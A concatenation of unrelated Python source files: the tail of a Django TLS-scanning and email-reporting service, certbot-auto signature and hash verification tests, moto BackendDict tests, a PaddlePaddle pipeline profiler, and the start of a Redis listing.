logger.info('before start')
p.start()
p.join()
logger.info('good night')
sleep_while_pinging(3)
logger.info('after sleep 3')
end_time = datetime.datetime.now()
delta_t = end_time - start_time
secs = delta_t.seconds
logger.info('scan cycle took ' + str(secs) + ' seconds')
purge_old_tests()
else:
logger.info('Background scan is disabled')
sleep_while_pinging(60)
continue
time_to_scan_list = (end_time - start_time).total_seconds()
if config.default_scan_frequency == 1:
logger.info('sleeping for a day')
if time_to_scan_list < 86400:
sleep_while_pinging(86400 - time_to_scan_list)
elif config.default_scan_frequency == 2:
logger.info('sleeping for 2 days')
if time_to_scan_list < 2*86400:
sleep_while_pinging(2*86400 - time_to_scan_list)
elif config.default_scan_frequency == 3:
logger.info('sleeping for a week')
if time_to_scan_list < 7*86400:
sleep_while_pinging(7*86400 - time_to_scan_list)
elif config.default_scan_frequency == 4:
logger.info('sleeping for a month')
sleep_while_pinging(30*86400)
elif config.default_scan_frequency == 5:
sleep_while_pinging(3*30*86400)
elif config.default_scan_frequency == 6:
sleep_while_pinging(365*86400)
else:
sleep_while_pinging(86400) # wait a day
def kickoff_periodic_scans():
t = threading.Thread(target=start_periodic_scans, args=())
t.start()
# this was created to keep MySQL connection alive
def sleep_while_pinging(seconds):
cursor = connection.cursor()
cursor.execute('select 1 from endpoints_setting')
if seconds < 3600: # if sleep time less than 1 hour
time.sleep(seconds)
return
hours_to_sleep = float(seconds) / float(3600)
total_hours_slept = 0.0
while True:
time.sleep(3600) # sleep 1 hour
cursor = connection.cursor()
cursor.execute('select 1 from endpoints_setting')
total_hours_slept += 1.0
if total_hours_slept > hours_to_sleep:
return
# this view handles the Scan Now AJAX submission
def submit_for_scan(request):
logger.info('inside submit_for_scan ')
check_good_number(request.GET['endpoint_id'])
endpoint_id = request.GET.get('endpoint_id', None)
p = multiprocessing.Process(target=scanner_worker, args=(endpoint_id,))
p.start()
return HttpResponse(
simplejson.dumps(
{'endpoint_id': endpoint_id}), content_type="application/json")
def scanner_worker(endpoint_id):
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'settings')
import django
django.setup()
from endpoints.models import TestResult, Endpoint
PACKAGE_ROOT = getattr(settings, 'PACKAGE_ROOT', '')
print '-->' + PACKAGE_ROOT + " Processing %s" % (endpoint_id)
endpoint = Endpoint.objects.get(id=endpoint_id)
url = endpoint.url
p = Popen([
PACKAGE_ROOT + "/ssllabs-scan",
"--ignore-mismatch=true",
url],
stdout=PIPE)
print 'url=' + url
scan_result_out = p.stdout.read()
if scan_result_out:
scan_result_out = scan_result_out.replace(r'\u003d', '=')
data = simplejson.loads(scan_result_out)
extracted = parse_ssllabs.extractScanInfo(data)
if extracted:
score = extracted[0]
flaws = extracted[1]
expiry_date = extracted[2]
tr = TestResult(
time=datetime.datetime.now(),
score=score, the_endpoint=endpoint)
tr.save()
endpoint.test_results.add(tr)
endpoint.expiry_date = expiry_date
endpoint.save()
for flaw in flaws:
d = Defect(description=flaw)
d.save()
tr.defects.add(d)
print " Scanning %s \tDONE" % url
def send_report_email():
logger.info('Inside send_report_email')
address = Setting.objects.all()[0].default_email
logger.info('------ before send_report_email.get_score_count -------- address=' + str(address))
score_count = get_score_count()
logger.info('------ after send_report_email.get_score_count --------')
endpoints_all = Endpoint.objects.all().order_by('url')
endpoint_tr_tuples = create_endpoint_last_tr_tuples(endpoints_all)
score_tuples = []
b_score_tuples = []
c_score_tuples = []
d_score_tuples = []
f_score_tuples = []
for tuple in endpoint_tr_tuples:
(ep, tr, tr_prev) = tuple
if tr is not None:
if tr.score == 'B':
b_score_tuples.append(tuple)
elif tr.score == 'C':
c_score_tuples.append(tuple)
elif tr.score == 'D':
d_score_tuples.append(tuple)
elif tr.score == 'F':
f_score_tuples.append(tuple)
score_tuples = f_score_tuples + d_score_tuples + c_score_tuples + b_score_tuples
about_to_expire_endpoints = get_certs_about_to_expire()
default_product = Product.objects.get(id=1)
subject = default_product.name + ': URLs with Failing TLS Scores'
subject = 'Security Engineering: URLs with Failing TLS Scores'
addresses = []
add_default_product_addresses(addresses)
t = loader.get_template('report_email.html')
c = Context(
{'endpoint_tr_tuples': score_tuples,
'score_count': score_count,
'about_to_expire_endpoints': about_to_expire_endpoints})
message = t.render(c)
addresses = ['henry.yamauchi@rackspace.com', 'michael.xin@rackspace.com', 'jay.paz@rackspace.com']
send_mail_python(subject, message, address, addresses)
logger.info('------ to addresses --------')
for addr in addresses:
logger.info(addr)
def send_report_email_to_teams():
logger.info('==Inside send_report_email_to_teams')
from_address = Setting.objects.all()[0].default_email
from_address = '"Security Engineering" <security.engineering@rackspace.com>'
endpoints_all = Endpoint.objects.all().order_by('product__name')
endpoint_tr_tuples = create_endpoint_last_tr_tuples(endpoints_all)
about_to_expire_endpoints = get_certs_about_to_expire()
products = Product.objects.all().order_by('name')
for prod in products:
about_to_expire_endpoints_for_team = {}
score_tuples = []
c_score_tuples = []
d_score_tuples = []
f_score_tuples = []
for tuple in endpoint_tr_tuples:
(ep, tr, tr_prev) = tuple
if ep.product_id == prod.id:
if tr is not None:
if tr.score == 'C':
c_score_tuples.append(tuple)
elif tr.score == 'D':
d_score_tuples.append(tuple)
elif tr.score == 'F':
f_score_tuples.append(tuple)
if ep.url in about_to_expire_endpoints:
about_to_expire_endpoints_for_team[ep.url] = about_to_expire_endpoints[ep.url]
score_tuples = f_score_tuples + d_score_tuples + c_score_tuples
if not score_tuples and not about_to_expire_endpoints_for_team:
logger.info('==no problem URLs found for ' + prod.name)
continue
subject = prod.name + ': URLs with Failing SSLLabs TLS Scores'
addresses = []
contacts = prod.contacts.all()
for contact in contacts:
addresses.append(contact.email)
if not addresses:
logger.info('==no email address found for product ' + prod.name)
addresses.append('henry.yamauchi@rackspace.com')
t = loader.get_template('report_email_to_teams.html')
c = Context(
{'endpoint_tr_tuples': score_tuples,
'about_to_expire_endpoints': about_to_expire_endpoints_for_team})
message = t.render(c)
send_mail_python(subject, message, from_address, addresses)
logger.info('------ sent to addresses -------- ' + prod.name)
for addr in addresses:
logger.info(addr)
def get_certs_about_to_expire():
about_to_expire_endpoints = {}
endpoints_all = Endpoint.objects.all()
for endpoint in endpoints_all:
expiry_date = endpoint.expiry_date
if expiry_date:
today = datetime.datetime.now()
delta_t = expiry_date - today.date()
days_to_expiry = delta_t.days
if days_to_expiry < 0:
days_to_expiry = 0
if days_to_expiry < 90:
logger.info('about to expire=' + str(days_to_expiry))
about_to_expire_endpoints[endpoint.url] = days_to_expiry
return about_to_expire_endpoints
def kickoff_periodic_reporting():
t = threading.Thread(target=start_periodic_reporting, args=())
t.start()
def kickoff_periodic_reporting_for_teams():
t = threading.Thread(target=start_periodic_reporting_for_teams, args=([86400*7]))
t.start()
def send_mail_python(subject, message, from_address, to_addresses):
logger.info("Entering send_mail_python")
import smtplib
from email.mime.text import MIMEText
# Create a text/plain message
msg = MIMEText(message, 'html')
msg['Subject'] = subject
msg['From'] = from_address
msg['To'] = to_addresses[0]
EMAIL_HOST = getattr(settings, 'EMAIL_HOST', '')
EMAIL_PORT = getattr(settings, 'EMAIL_PORT', '25')
s = smtplib.SMTP(EMAIL_HOST, EMAIL_PORT)
s.sendmail(from_address, to_addresses, msg.as_string())
s.quit()
logger.info("Exiting send_mail_python - email sent")
# This function kicks off the scan and reporting threads
# The semaphore file is deleted in the gunicorn startup script
def init_threads(request):
# if file exists threads already started
if os.path.isfile("semaphore"):
return HttpResponseRedirect('/')
logger.info('Semaphore file does not exist so start threads')
kickoff_periodic_scans()
kickoff_periodic_reporting()
kickoff_periodic_reporting_for_teams()
semaphore = open("semaphore", 'w')
semaphore.close()
return HttpResponseRedirect('/')
def start_periodic_reporting():
logger.info('Starting periodic reporting')
while True:
logger.info('Reporting while loop - starting thread...')
p = threading.Thread(target=send_report_email, args=())
p.start()
p.join
now = datetime.datetime.now()
logger.info(
'Periodic reporting ' + str(now) + ' hour=' + str(now.hour))
logger.info('Reporting - sleeping ...')
time.sleep(86400) # 1 day
logger.info('Reporting - waking up')
def start_periodic_reporting_for_teams(frequency):
logger.info('Starting periodic reporting for teams')
while True:
logger.info('Reporting for teams while loop - starting thread...')
p = threading.Thread(target=send_report_email_to_teams, args=())
p.start()
p.join
now = datetime.datetime.now()
logger.info(
'Periodic reporting for teams ' + str(now) + ' hour=' + str(now.hour))
logger.info('Reporting for teams - sleeping ...')
time.sleep(86400) # 1 day
logger.info('Reporting for teams - waking up')
@login_required(login_url='/login/')
def logout(request):
auth.logout(request)
return HttpResponseRedirect('/')
def is_valid_email(email):
from django.core.validators import validate_email
from django.core.exceptions import ValidationError
check_valid_size(email)
try:
validate_email(email)
return True
except ValidationError:
return False
def is_valid_url(url):
from django.core.validators import URLValidator
from django.core.exceptions import ValidationError
check_valid_size(url)
validate = URLValidator()
try:
validate(url)
return True
except ValidationError:
return False
def check_valid_size(data):
MAX_DATA_SIZE = 500
if not data:
raise Http404
if len(data) > MAX_DATA_SIZE:
raise Http404
def check_good_number(data):
check_valid_size(data)
if not str(data).isdigit():
raise Http404
|
auto_test.py | """Tests for letsencrypt-auto"""
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from contextlib import contextmanager
from functools import partial
from json import dumps
from os import chmod, environ, makedirs
from os.path import abspath, dirname, exists, join
import re
from shutil import copy, rmtree
import socket
import ssl
from stat import S_IRUSR, S_IXUSR
from subprocess import CalledProcessError, Popen, PIPE
import sys
from tempfile import mkdtemp
from threading import Thread
from unittest import TestCase
from pytest import mark
@mark.skip
def tests_dir():
"""Return a path to the "tests" directory."""
return dirname(abspath(__file__))
sys.path.insert(0, dirname(tests_dir()))
from build import build as build_le_auto
BOOTSTRAP_FILENAME = 'certbot-auto-bootstrap-version.txt'
"""Name of the file where certbot-auto saves its bootstrap version."""
class RequestHandler(BaseHTTPRequestHandler):
"""An HTTPS request handler which is quiet and serves a specific folder."""
def __init__(self, resources, *args, **kwargs):
"""
:arg resources: A dict of resource paths pointing to content bytes
"""
self.resources = resources
BaseHTTPRequestHandler.__init__(self, *args, **kwargs)
def log_message(self, format, *args):
"""Don't log each request to the terminal."""
def do_GET(self):
"""Serve a GET request."""
content = self.send_head()
if content is not None:
self.wfile.write(content)
def send_head(self):
"""Common code for GET and HEAD commands
This sends the response code and MIME headers and returns either a
bytestring of content or, if none is found, None.
"""
path = self.path[1:] # Strip leading slash.
content = self.resources.get(path)
if content is None:
self.send_error(404, 'Path "%s" not found in self.resources' % path)
else:
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.send_header('Content-Length', str(len(content)))
self.end_headers()
return content
def server_and_port(resources):
"""Return an unstarted HTTPS server and the port it will use."""
# Find a port, and bind to it. I can't get the OS to close the socket
# promptly after we shut down the server, so we typically need to try
# a couple ports after the first test case. Setting
# TCPServer.allow_reuse_address = True seems to have nothing to do
# with this behavior.
worked = False
for port in xrange(4443, 4543):
try:
server = HTTPServer(('localhost', port),
partial(RequestHandler, resources))
except socket.error:
pass
else:
worked = True
server.socket = ssl.wrap_socket(
server.socket,
certfile=join(tests_dir(), 'certs', 'localhost', 'server.pem'),
server_side=True)
break
if not worked:
raise RuntimeError("Couldn't find an unused socket for the testing HTTPS server.")
return server, port
@contextmanager
def serving(resources):
"""Spin up a local HTTPS server, and yield its base URL.
Use a self-signed cert generated as outlined by
https://coolaj86.com/articles/create-your-own-certificate-authority-for-
testing/.
"""
server, port = server_and_port(resources)
thread = Thread(target=server.serve_forever)
try:
thread.start()
yield 'https://localhost:{port}/'.format(port=port)
finally:
server.shutdown()
thread.join()
LE_AUTO_PATH = join(dirname(tests_dir()), 'letsencrypt-auto')
@contextmanager
def temp_paths():
"""Creates and deletes paths for letsencrypt-auto and its venv."""
dir = mkdtemp(prefix='le-test-')
try:
yield join(dir, 'letsencrypt-auto'), join(dir, 'venv')
finally:
rmtree(dir, ignore_errors=True)
def out_and_err(command, input=None, shell=False, env=None):
"""Run a shell command, and return stderr and stdout as string.
If the command returns nonzero, raise CalledProcessError.
:arg command: A list of commandline args
:arg input: Data to pipe to stdin. Omit for none.
Remaining args have the same meaning as for Popen.
"""
process = Popen(command,
stdout=PIPE,
stdin=PIPE,
stderr=PIPE,
shell=shell,
env=env)
out, err = process.communicate(input=input)
status = process.poll() # same as in check_output(), though wait() sounds better
if status:
error = CalledProcessError(status, command)
error.output = out
raise error
return out, err
def signed(content, private_key_name='signing.key'):
"""Return the signed SHA-256 hash of ``content``, using the given key file."""
command = ['openssl', 'dgst', '-sha256', '-sign',
join(tests_dir(), private_key_name)]
out, err = out_and_err(command, input=content)
return out
def install_le_auto(contents, install_path):
"""Install some given source code as the letsencrypt-auto script at the
root level of a virtualenv.
:arg contents: The contents of the built letsencrypt-auto script
:arg install_path: The path where to install the script
"""
with open(install_path, 'w') as le_auto:
le_auto.write(contents)
chmod(install_path, S_IRUSR | S_IXUSR)
def run_le_auto(le_auto_path, venv_dir, base_url, **kwargs):
"""Run the prebuilt version of letsencrypt-auto, returning stdout and
stderr strings.
If the command returns other than 0, raise CalledProcessError.
"""
env = environ.copy()
d = dict(VENV_PATH=venv_dir,
# URL to PyPI-style JSON that tell us the latest released version
# of LE:
LE_AUTO_JSON_URL=base_url + 'certbot/json',
# URL to dir containing letsencrypt-auto and letsencrypt-auto.sig:
LE_AUTO_DIR_TEMPLATE=base_url + '%s/',
# The public key corresponding to signing.key:
LE_AUTO_PUBLIC_KEY="""-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsMoSzLYQ7E1sdSOkwelg
tzKIh2qi3bpXuYtcfFC0XrvWig071NwIj+dZiT0OLZ2hPispEH0B7ISuuWg1ll7G
hFW0VdbxL6JdGzS2ShNWkX9hE9z+j8VqwDPOBn3ZHm03qwpYkBDwQib3KqOdYbTT
uUtJmmGcuk3a9Aq/sCT6DdfmTSdP5asdQYwIcaQreDrOosaS84DTWI3IU+UYJVgl
LsIVPBuy9IcgHidUQ96hJnoPsDCWsHwX62495QKEarauyKQrJzFes0EY95orDM47
Z5o/NDiQB11m91yNB0MmPYY9QSbnOA9j7IaaC97AwRLuwXY+/R2ablTcxurWou68
iQIDAQAB
-----END PUBLIC KEY-----""",
**kwargs)
env.update(d)
return out_and_err(
le_auto_path + ' --version',
shell=True,
env=env)
def set_le_script_version(venv_dir, version):
"""Tell the letsencrypt script to report a certain version.
We actually replace the script with a dummy version that knows only how to
print its version.
"""
letsencrypt_path = join(venv_dir, 'bin', 'letsencrypt')
with open(letsencrypt_path, 'w') as script:
script.write("#!/usr/bin/env python\n"
"from sys import stderr\n"
"stderr.write('letsencrypt %s\\n')" % version)
chmod(letsencrypt_path, S_IRUSR | S_IXUSR)
class AutoTests(TestCase):
"""Test the major branch points of letsencrypt-auto:
* An le-auto upgrade is needed.
* An le-auto upgrade is not needed.
* There was an out-of-date LE script installed.
* There was a current LE script installed.
* There was no LE script installed (less important).
* Pip hash-verification passes.
* Pip has a hash mismatch.
* The OpenSSL sig matches.
* The OpenSSL sig mismatches.
For tests which get to the end, we run merely ``letsencrypt --version``.
The functioning of the rest of the certbot script is covered by other
test suites.
"""
NEW_LE_AUTO = build_le_auto(
version='99.9.9',
requirements='letsencrypt==99.9.9 --hash=sha256:1cc14d61ab424cdee446f51e50f1123f8482ec740587fe78626c933bba2873a0')
NEW_LE_AUTO_SIG = signed(NEW_LE_AUTO)
def test_successes(self):
"""Exercise most branches of letsencrypt-auto.
They just happen to be the branches in which everything goes well.
I violate my usual rule of having small, decoupled tests, because...
1. We shouldn't need to run a Cartesian product of the branches: the
phases run in separate shell processes, containing state leakage
pretty effectively. The only shared state is FS state, and it's
limited to a temp dir, assuming (if we dare) all functions properly.
2. One combination of branches happens to set us up nicely for testing
the next, saving code.
"""
with temp_paths() as (le_auto_path, venv_dir):
# This serves a PyPI page with a higher version, a GitHub-alike
# with a corresponding le-auto script, and a matching signature.
resources = {'certbot/json': dumps({'releases': {'99.9.9': None}}),
'v99.9.9/letsencrypt-auto': self.NEW_LE_AUTO,
'v99.9.9/letsencrypt-auto.sig': self.NEW_LE_AUTO_SIG}
with serving(resources) as base_url:
run_letsencrypt_auto = partial(
run_le_auto,
le_auto_path,
venv_dir,
base_url,
PIP_FIND_LINKS=join(tests_dir(),
'fake-letsencrypt',
'dist'))
# Test when a phase-1 upgrade is needed, there's no LE binary
# installed, and pip hashes verify:
install_le_auto(build_le_auto(version='50.0.0'), le_auto_path)
out, err = run_letsencrypt_auto()
self.assertTrue(re.match(r'letsencrypt \d+\.\d+\.\d+',
err.strip().splitlines()[-1]))
# Make a few assertions to test the validity of the next tests:
self.assertTrue('Upgrading certbot-auto ' in out)
self.assertTrue('Creating virtual environment...' in out)
# Now we have le-auto 99.9.9 and LE 99.9.9 installed. This
# conveniently sets us up to test the next 2 cases.
# Test when neither phase-1 upgrade nor phase-2 upgrade is
# needed (probably a common case):
out, err = run_letsencrypt_auto()
self.assertFalse('Upgrading certbot-auto ' in out)
self.assertFalse('Creating virtual environment...' in out)
def test_phase2_upgrade(self):
"""Test a phase-2 upgrade without a phase-1 upgrade."""
resources = {'certbot/json': dumps({'releases': {'99.9.9': None}}),
'v99.9.9/letsencrypt-auto': self.NEW_LE_AUTO,
'v99.9.9/letsencrypt-auto.sig': self.NEW_LE_AUTO_SIG}
with serving(resources) as base_url:
pip_find_links=join(tests_dir(), 'fake-letsencrypt', 'dist')
with temp_paths() as (le_auto_path, venv_dir):
install_le_auto(self.NEW_LE_AUTO, le_auto_path)
# Create venv saving the correct bootstrap script version
out, err = run_le_auto(le_auto_path, venv_dir, base_url,
PIP_FIND_LINKS=pip_find_links)
self.assertFalse('Upgrading certbot-auto ' in out)
self.assertTrue('Creating virtual environment...' in out)
with open(join(venv_dir, BOOTSTRAP_FILENAME)) as f:
bootstrap_version = f.read()
# Create a new venv with an old letsencrypt version
with temp_paths() as (le_auto_path, venv_dir):
venv_bin = join(venv_dir, 'bin')
makedirs(venv_bin)
set_le_script_version(venv_dir, '0.0.1')
with open(join(venv_dir, BOOTSTRAP_FILENAME), 'w') as f:
f.write(bootstrap_version)
install_le_auto(self.NEW_LE_AUTO, le_auto_path)
out, err = run_le_auto(le_auto_path, venv_dir, base_url,
PIP_FIND_LINKS=pip_find_links)
self.assertFalse('Upgrading certbot-auto ' in out)
self.assertTrue('Creating virtual environment...' in out)
def test_openssl_failure(self):
"""Make sure we stop if the openssl signature check fails."""
with temp_paths() as (le_auto_path, venv_dir):
# Serve an unrelated hash signed with the good key (easier than
# making a bad key, and a mismatch is a mismatch):
resources = {'': '<a href="certbot/">certbot/</a>',
'certbot/json': dumps({'releases': {'99.9.9': None}}),
'v99.9.9/letsencrypt-auto': build_le_auto(version='99.9.9'),
'v99.9.9/letsencrypt-auto.sig': signed('something else')}
with serving(resources) as base_url:
copy(LE_AUTO_PATH, le_auto_path)
try:
out, err = run_le_auto(le_auto_path, venv_dir, base_url)
except CalledProcessError as exc:
self.assertEqual(exc.returncode, 1)
self.assertTrue("Couldn't verify signature of downloaded "
"certbot-auto." in exc.output)
else:
self.fail('Signature check on certbot-auto erroneously passed.')
def test_pip_failure(self):
"""Make sure pip stops us if there is a hash mismatch."""
with temp_paths() as (le_auto_path, venv_dir):
resources = {'': '<a href="certbot/">certbot/</a>',
'certbot/json': dumps({'releases': {'99.9.9': None}})}
with serving(resources) as base_url:
# Build a le-auto script embedding a bad requirements file:
install_le_auto(
build_le_auto(
version='99.9.9',
requirements='configobj==5.0.6 --hash=sha256:badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadb'),
le_auto_path)
try:
out, err = run_le_auto(le_auto_path, venv_dir, base_url)
except CalledProcessError as exc:
self.assertEqual(exc.returncode, 1)
self.assertTrue("THESE PACKAGES DO NOT MATCH THE HASHES "
"FROM THE REQUIREMENTS FILE" in exc.output)
self.assertFalse(
exists(venv_dir),
msg="The virtualenv was left around, even though "
"installation didn't succeed. We shouldn't do "
"this, as it foils our detection of whether we "
"need to recreate the virtualenv, which hinges "
"on the presence of $VENV_BIN/letsencrypt.")
else:
self.fail("Pip didn't detect a bad hash and stop the "
"installation.")
|
test_backenddict.py | import random
import time
import pytest
from moto.core import BaseBackend
from moto.core.utils import AccountSpecificBackend, BackendDict
from threading import Thread
class ExampleBackend(BaseBackend):
def __init__(self, region_name, account_id):
super().__init__(region_name, account_id)
def test_backend_dict_returns_nothing_by_default():
backend_dict = BackendDict(ExampleBackend, "ebs")
backend_dict.should.equal({})
def test_backend_dict_contains_known_regions():
backend_dict = BackendDict(ExampleBackend, "ec2")
backend_dict.should.have.key("eu-north-1")
backend_dict["eu-north-1"].should.be.a(ExampleBackend)
def test_backend_dict_known_regions_can_be_retrieved_directly():
backend_dict = BackendDict(ExampleBackend, "ec2")
backend_dict["eu-west-1"].should.be.a(ExampleBackend)
def test_backend_dict_can_get_known_regions():
backend_dict = BackendDict(ExampleBackend, "ec2")
backend_dict.get("us-east-1").should.be.a(ExampleBackend)
def test_backend_dict_does_not_contain_unknown_regions():
backend_dict = BackendDict(ExampleBackend, "ec2")
backend_dict.shouldnt.have.key("mars-south-1")
def test_backend_dict_fails_when_retrieving_unknown_regions():
backend_dict = BackendDict(ExampleBackend, "ec2")
with pytest.raises(KeyError):
backend_dict["mars-south-1"] # pylint: disable=pointless-statement
def test_backend_dict_can_retrieve_for_specific_account():
backend_dict = BackendDict(ExampleBackend, "ec2")
# Retrieve AccountSpecificBackend after checking it exists
backend_dict.should.have.key("000000")
backend = backend_dict.get("000000")
backend.should.be.a(AccountSpecificBackend)
# Retrieve AccountSpecificBackend by assuming it exists
backend = backend_dict["012345"]
backend.should.be.a(AccountSpecificBackend)
backend.should.have.key("eu-north-1")
regional_backend = backend["eu-north-1"]
regional_backend.should.be.a(ExampleBackend)
regional_backend.region_name.should.equal("eu-north-1")
# We always return a fixed account_id for now, until we have proper multi-account support
regional_backend.account_id.should.equal("123456789012")
def test_backend_dict_can_ignore_boto3_regions():
backend_dict = BackendDict(ExampleBackend, "ec2", use_boto3_regions=False)
backend_dict.get("us-east-1").should.equal(None)
def test_backend_dict_can_specify_additional_regions():
backend_dict = BackendDict(
ExampleBackend, "ec2", additional_regions=["region1", "global"]
)
backend_dict.get("us-east-1").should.be.a(ExampleBackend)
backend_dict.get("region1").should.be.a(ExampleBackend)
backend_dict.get("global").should.be.a(ExampleBackend)
# Unknown regions still do not exist
backend_dict.get("us-east-3").should.equal(None)
class TestMultiThreadedAccess:
class SlowExampleBackend(BaseBackend):
def __init__(self, region_name, account_id):
super().__init__(region_name, account_id)
time.sleep(0.1)
self.data = []
def setup(self):
self.backend = BackendDict(TestMultiThreadedAccess.SlowExampleBackend, "ec2")
def test_access_a_slow_backend_concurrently(self):
"""
Usecase that we want to avoid:
Thread 1 comes in, and sees the backend does not exist for this region
Thread 1 starts creating the backend
Thread 2 comes in, and sees the backend does not exist for this region
Thread 2 starts creating the backend
Thread 1 finishes creating the backend, initializes the list and adds a new value to it
Thread 2 finishes creating the backend, re-initializes the list and adds a new value to it
Creating the Backend for a region should only be invoked once at a time, and the execution flow should look like:
Thread 1 comes in, and sees the backend does not exist for this region
Thread 1 starts creating the backend
Thread 2 comes in and is blocked
Thread 1 finishes creating the backend, initializes the list and adds a new value to it
Thread 2 gains access, and re-uses the created backend
Thread 2 adds a new value to the list
"""
def access(random_number):
self.backend["123456789012"]["us-east-1"].data.append(random_number)
threads = []
for _ in range(0, 15):
x = Thread(target=access, args=(random.randint(100, 200),))
x.start()
threads.append(x)
for x in threads:
x.join()
self.backend["123456789012"]["us-east-1"].data.should.have.length_of(15)
|
profiler.py | # Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# pylint: disable=doc-string-missing
import os
import sys
import logging
if sys.version_info.major == 2:
import Queue
elif sys.version_info.major == 3:
import queue as Queue
else:
raise Exception("Error Python version")
from time import time as _time
import time
import threading
import multiprocessing
import copy
_LOGGER = logging.getLogger(__name__)
_LOGGER.propagate = False
_is_profile = int(os.environ.get('FLAGS_profile_pipeline', 0))
class PerformanceTracer(object):
def __init__(self, is_thread_mode, interval_s, server_worker_num):
self._is_thread_mode = is_thread_mode
if is_thread_mode:
# Because the Channel in the thread mode cannot be
# accessed across processes, when using thread mode,
# the PerformanceTracer is also the thread mode.
# However, performance may be affected by GIL.
self._data_buffer = Queue.Queue()
else:
self._data_buffer = multiprocessing.Manager().Queue()
self._interval_s = interval_s
self._thrd = None
self._proc = None
self._channels = []
# The size of data in Channel will not exceed server_worker_num
self._server_worker_num = server_worker_num
if _is_profile:
self.profile_dict = {}
def data_buffer(self):
return self._data_buffer
def start(self):
if self._is_thread_mode:
self._thrd = threading.Thread(
target=self._trace_func, args=(self._channels, ))
self._thrd.daemon = True
self._thrd.start()
else:
self._proc = multiprocessing.Process(
target=self._trace_func, args=(self._channels, ))
self._proc.daemon = True
self._proc.start()
def set_channels(self, channels):
self._channels = channels
def _trace_func(self, channels):
all_actions = ["in", "prep", "midp", "postp", "out"]
calcu_actions = ["prep", "midp", "postp"]
while True:
op_cost = {}
err_request = []
err_count = 0
_LOGGER.info("==================== TRACER ======================")
# op
while True:
try:
item = self._data_buffer.get_nowait()
name = item["name"]
actions = item["actions"]
if name == "DAG":
succ = item["succ"]
req_id = item["id"]
if not succ:
err_count += 1
err_request.append(req_id)
if name not in op_cost:
op_cost[name] = {}
for action, cost in actions.items():
if action not in op_cost[name]:
op_cost[name][action] = []
op_cost[name][action].append(cost)
except Queue.Empty:
break
if len(op_cost) != 0:
for name in op_cost:
tot_cost, calcu_cost = 0.0, 0.0
for action, costs in op_cost[name].items():
op_cost[name][action] = sum(costs) / (1e3 * len(costs))
tot_cost += op_cost[name][action]
if name != "DAG":
_LOGGER.info("Op({}):".format(name))
for action in all_actions:
if action in op_cost[name]:
_LOGGER.info("\t{}[{} ms]".format(
action, op_cost[name][action]))
for action in calcu_actions:
if action in op_cost[name]:
calcu_cost += op_cost[name][action]
_LOGGER.info("\tidle[{}]".format(1 - 1.0 * calcu_cost /
tot_cost))
if _is_profile:
self.profile_dict = copy.deepcopy(op_cost)
if "DAG" in op_cost:
calls = list(op_cost["DAG"].values())
calls.sort()
tot = len(calls)
qps = 1.0 * tot / self._interval_s
ave_cost = sum(calls) / tot
latencys = [50, 60, 70, 80, 90, 95, 99]
_LOGGER.info("DAGExecutor:")
_LOGGER.info("\tQuery count[{}]".format(tot))
_LOGGER.info("\tQPS[{} q/s]".format(qps))
_LOGGER.info("\tSucc[{}]".format(1 - 1.0 * err_count / tot))
_LOGGER.info("\tError req[{}]".format(", ".join(
[str(x) for x in err_request])))
_LOGGER.info("\tLatency:")
_LOGGER.info("\t\tave[{} ms]".format(ave_cost))
for latency in latencys:
_LOGGER.info("\t\t.{}[{} ms]".format(latency, calls[int(
tot * latency / 100.0)]))
if _is_profile:
self.profile_dict["DAG"]["query_count"] = tot
self.profile_dict["DAG"]["qps"] = qps
self.profile_dict["DAG"]["succ"] = 1 - 1.0 * err_count / tot
self.profile_dict["DAG"]["avg"] = ave_cost
for latency in latencys:
self.profile_dict["DAG"][str(latency)] = calls[int(tot * latency / 100.0)]
if _is_profile:
import yaml
with open("benchmark.log", "w") as fout:
yaml.dump(self.profile_dict, fout, default_flow_style=False)
# channel
_LOGGER.info("Channel (server worker num[{}]):".format(
self._server_worker_num))
for channel in channels:
_LOGGER.info("\t{}(In: {}, Out: {}) size[{}/{}]".format(
channel.name,
channel.get_producers(),
channel.get_consumers(),
channel.size(), channel.get_maxsize()))
time.sleep(self._interval_s)
class UnsafeTimeProfiler(object):
""" thread unsafe profiler """
def __init__(self):
self.pid = os.getpid()
self.print_head = 'PROFILE\tpid:{}\t'.format(self.pid)
self.time_record = [self.print_head]
self._enable = False
def enable(self, enable):
self._enable = enable
def record(self, name):
if self._enable is False:
return
timestamp = int(round(_time() * 1000000))
self.time_record.append('{}:{} '.format(name, timestamp))
return timestamp
def print_profile(self):
if self._enable is False:
return
sys.stderr.write(self.gen_profile_str())
def gen_profile_str(self):
if self._enable is False:
return
self.time_record.append('\n')
profile_str = ''.join(self.time_record)
self.time_record = [self.print_head]
return profile_str
class TimeProfiler(object):
def __init__(self):
self._pid = os.getpid()
self._print_head = 'PROFILE\tpid:{}\t'.format(self._pid)
self._time_record = Queue.Queue()
self._enable = False
self._lock = threading.Lock()
def enable(self, enable):
self._enable = enable
def record(self, name_with_tag):
if self._enable is False:
return
timestamp = int(round(_time() * 1000000))
name_with_tag = name_with_tag.split("_")
tag = name_with_tag[-1]
name = '_'.join(name_with_tag[:-1])
with self._lock:
self._time_record.put((name, tag, timestamp))
return timestamp
def print_profile(self):
if self._enable is False:
return
sys.stderr.write(self.gen_profile_str())
def gen_profile_str(self):
if self._enable is False:
return
print_str = self._print_head
tmp = {}
with self._lock:
while not self._time_record.empty():
name, tag, timestamp = self._time_record.get()
if name in tmp:
ptag, ptimestamp = tmp.pop(name)
print_str += "{}_{}:{} ".format(name, ptag, ptimestamp)
print_str += "{}_{}:{} ".format(name, tag, timestamp)
else:
tmp[name] = (tag, timestamp)
print_str = "\n{}\n".format(print_str)
for name, item in tmp.items():
tag, timestamp = item
self._time_record.put((name, tag, timestamp))
return print_str
|
ch03_listing_source.py |
import threading
import time
import unittest
import redis
ONE_WEEK_IN_SECONDS = 7 * 86400
VOTE_SCORE = 432
